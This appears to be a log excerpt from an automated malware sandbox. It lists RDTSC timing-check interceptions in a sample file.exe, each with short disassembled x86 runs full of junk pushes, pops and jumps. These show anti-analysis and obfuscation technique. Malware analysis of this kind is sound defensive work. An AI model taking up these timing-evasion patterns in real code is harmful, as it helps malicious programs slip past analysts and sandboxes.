Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FE05 second address: 140FE1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCA1271h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FE1A second address: 140FE21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FE21 second address: 140FE44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDA8CCA1278h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FE44 second address: 140FE63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FDA8CCCE528h 0x0000000c popad 0x0000000d xchg eax, esi 0x0000000e mov dx, AF46h 0x00000012 nop 0x00000013 push eax 0x00000014 push edx 0x00000015 jno 00007FDA8CCCE528h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410185 second address: 1410189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410189 second address: 141018F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141018F second address: 14101A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDA8CCA1271h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141060E second address: 1410674 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE531h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c call 00007FDA8CCCE534h 0x00000011 sub cx, D201h 0x00000016 pop edi 0x00000017 push 0000001Eh 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007FDA8CCCE528h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 xor dword ptr [ebp+1246F098h], ebx 0x00000039 movsx edi, ax 0x0000003c push eax 0x0000003d push ecx 0x0000003e push eax 0x0000003f push edx 0x00000040 jbe 00007FDA8CCCE526h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410A34 second address: 1410A3D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410A3D second address: 1410A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jc 00007FDA8CCCE534h 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410A50 second address: 1410A8A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDA8CCA1266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov ecx, 153D13F5h 0x00000010 lea eax, dword ptr [ebp+1248145Eh] 0x00000016 pushad 0x00000017 jmp 00007FDA8CCA1277h 0x0000001c mov eax, 2FDAF721h 0x00000021 popad 0x00000022 push eax 0x00000023 push ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410A8A second address: 1410AB0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDA8CCCE526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, dword ptr [ebp+122D332Fh] 0x00000014 lea eax, dword ptr [ebp+1248141Ah] 0x0000001a movsx edi, bx 0x0000001d nop 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410AB0 second address: 1410AC1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDA8CCA1268h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1440F39 second address: 1440F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1440F3D second address: 1440F5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FDA8CCA1292h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FDA8CCA1270h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14410BD second address: 14410EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE52Ch 0x00000007 jns 00007FDA8CCCE52Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDA8CCCE52Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14410EA second address: 14410FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FDA8CCA1266h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14410FC second address: 144111A instructions: 0x00000000 rdtsc 0x00000002 je 00007FDA8CCCE526h 0x00000008 jmp 00007FDA8CCCE534h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144111A second address: 1441124 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDA8CCA126Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445CC1 second address: 1445CD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE52Ah 0x00000007 jne 00007FDA8CCCE526h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445CD5 second address: 1445CDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FDA8CCA1266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445E68 second address: 1445E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA8CCCE52Bh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445FD0 second address: 1445FEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FDA8CCA1277h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445FEC second address: 1445FFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE52Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445FFF second address: 1446003 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1446003 second address: 144601D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jo 00007FDA8CCCE52Ch 0x0000000f jng 00007FDA8CCCE526h 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14462C4 second address: 14462C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144641C second address: 1446422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1446422 second address: 1446427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144D436 second address: 144D43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144C3E7 second address: 144C3F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144C3F1 second address: 144C403 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnl 00007FDA8CCCE526h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144C82A second address: 144C831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CC51 second address: 144CC65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 js 00007FDA8CCCE52Eh 0x0000000c jl 00007FDA8CCCE526h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CC65 second address: 144CCA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 jmp 00007FDA8CCA126Ch 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FDA8CCA127Dh 0x00000015 jmp 00007FDA8CCA1275h 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007FDA8CCA126Eh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CCA6 second address: 144CCAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CCAB second address: 144CCB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CDFC second address: 144CE12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDA8CCCE526h 0x0000000a popad 0x0000000b pop edx 0x0000000c jc 00007FDA8CCCE55Bh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CE12 second address: 144CE21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA8CCA126Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CE21 second address: 144CE25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CE25 second address: 144CE2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CE2B second address: 144CE39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FDA8CCCE526h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CE39 second address: 144CE3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144D264 second address: 144D270 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDA8CCCE52Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14504B2 second address: 14504BE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDA8CCA1266h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14504BE second address: 14504C3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145313C second address: 145314A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCA126Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145314A second address: 1453153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1453153 second address: 1453159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1453159 second address: 145315E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145315E second address: 145319B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FDA8CCA1271h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d jo 00007FDA8CCA1266h 0x00000013 pop edx 0x00000014 push esi 0x00000015 jmp 00007FDA8CCA126Ah 0x0000001a pushad 0x0000001b popad 0x0000001c pop esi 0x0000001d jc 00007FDA8CCA126Ah 0x00000023 pushad 0x00000024 popad 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 pushad 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14562D2 second address: 14562ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA8CCCE537h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455C16 second address: 1455C26 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDA8CCA1266h 0x00000008 jp 00007FDA8CCA1266h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455DAE second address: 1455DC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDA8CCCE530h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455F06 second address: 1455F10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FDA8CCA1266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455F10 second address: 1455F27 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FDA8CCCE52Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455F27 second address: 1455F2C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455F2C second address: 1455F32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145607B second address: 1456086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B4B9 second address: 145B4BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B4BF second address: 145B4CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 js 00007FDA8CCA1272h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B4CE second address: 145B4E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDA8CCCE526h 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FDA8CCCE526h 0x00000012 jnc 00007FDA8CCCE526h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B668 second address: 145B66D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B66D second address: 145B696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDA8CCCE526h 0x0000000a pop edx 0x0000000b jnc 00007FDA8CCCE528h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FDA8CCCE52Bh 0x0000001b ja 00007FDA8CCCE526h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B696 second address: 145B6A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCA126Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B6A9 second address: 145B6B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B6B2 second address: 145B6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FDA8CCA126Fh 0x0000000b popad 0x0000000c push ebx 0x0000000d js 00007FDA8CCA1266h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B81D second address: 145B845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 ja 00007FDA8CCCE526h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDA8CCCE532h 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B845 second address: 145B850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDA8CCA1266h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B9CC second address: 145B9D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14103F3 second address: 1410486 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov edi, dword ptr [ebp+122D3377h] 0x0000000d mov di, si 0x00000010 mov ebx, dword ptr [ebp+12481459h] 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007FDA8CCA1268h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 mov di, bx 0x00000033 mov edi, dword ptr [ebp+122D334Fh] 0x00000039 add eax, ebx 0x0000003b push 00000000h 0x0000003d push edi 0x0000003e call 00007FDA8CCA1268h 0x00000043 pop edi 0x00000044 mov dword ptr [esp+04h], edi 0x00000048 add dword ptr [esp+04h], 00000014h 0x00000050 inc edi 0x00000051 push edi 0x00000052 ret 0x00000053 pop edi 0x00000054 ret 0x00000055 sbb ecx, 0D8643BAh 0x0000005b sub edi, 2F7A1876h 0x00000061 jmp 00007FDA8CCA1275h 0x00000066 nop 0x00000067 push eax 0x00000068 push edx 0x00000069 jmp 00007FDA8CCA1274h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145C606 second address: 145C60B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145C60B second address: 145C610 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1460898 second address: 146089E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146089E second address: 14608BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA8CCA126Ah 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDA8CCA126Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14608BB second address: 14608BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14608BF second address: 14608D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FDA8CCA1266h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145FA33 second address: 145FA39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145FA39 second address: 145FA3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145FBDC second address: 145FBE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145FBE2 second address: 145FBEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145FD4A second address: 145FD67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007FDA8CCCE533h 0x0000000b jmp 00007FDA8CCCE52Bh 0x00000010 pushad 0x00000011 popad 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1460088 second address: 14600EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA8CCA1278h 0x00000009 jmp 00007FDA8CCA1270h 0x0000000e jmp 00007FDA8CCA1272h 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007FDA8CCA1275h 0x0000001a jmp 00007FDA8CCA126Dh 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14600EE second address: 14600F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14600F3 second address: 1460110 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCA1278h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146025B second address: 1460260 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1460260 second address: 14602A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007FDA8CCA1272h 0x00000013 jnp 00007FDA8CCA126Ch 0x00000019 push eax 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c jmp 00007FDA8CCA126Fh 0x00000021 pop eax 0x00000022 push edi 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1460451 second address: 1460455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
